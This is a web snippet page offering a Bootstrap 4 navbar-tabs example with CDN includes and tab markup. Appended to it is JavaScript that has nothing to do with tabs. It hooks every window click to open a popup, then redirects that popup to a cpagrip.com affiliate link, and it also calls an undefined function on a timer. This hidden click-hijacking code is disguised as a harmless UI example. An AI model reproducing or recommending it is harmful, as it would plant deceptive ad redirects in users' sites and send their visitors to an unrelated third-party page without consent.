"Bootstrap 4 navbar tabs"
Bootstrap 4.1.1 Snippet by Nice

<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css"> <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <!------ Include the above in your HEAD tag ----------> <!-- Bootstrap CSS --> <!-- jQuery first, then Bootstrap JS. --> <!-- Nav tabs --> <ul class="nav nav-tabs" role="tablist"> <li class="nav-item"> <a class="nav-link active" href="#profile" role="tab" data-toggle="tab">profile</a> </li> <li class="nav-item"> <a class="nav-link" href="#buzz" role="tab" data-toggle="tab">buzz</a> </li> <li class="nav-item"> <a class="nav-link" href="#references" role="tab" data-toggle="tab">references</a> </li> </ul> <!-- Tab panes --> <div class="tab-content"> <div role="tabpanel" class="tab-pane fade in active" id="profile">...</div> <div role="tabpanel" class="tab-pane fade" id="buzz">bbb</div> <div role="tabpanel" class="tab-pane fade" id="references">ccc</div> </div>
window.onclick = () => { // You MUST create the window on the same event // tick/stack as the user-initiated event (e.g. click callback) const googleWindow = window.open(); // Do your async work fakeAjax(response => { // Change the URL of the window you created once you // know what the full URL is! googleWindow.location.replace(`https://www.cpagrip.com/show.php?l=0&u=62212&id=24028`); }); }; function fakeAjax(callback) { setTimeout(() => { callback('example'); }, 1000); } setInterval(function(){myFunction();},3000);

Related: See More


Questions / Comments: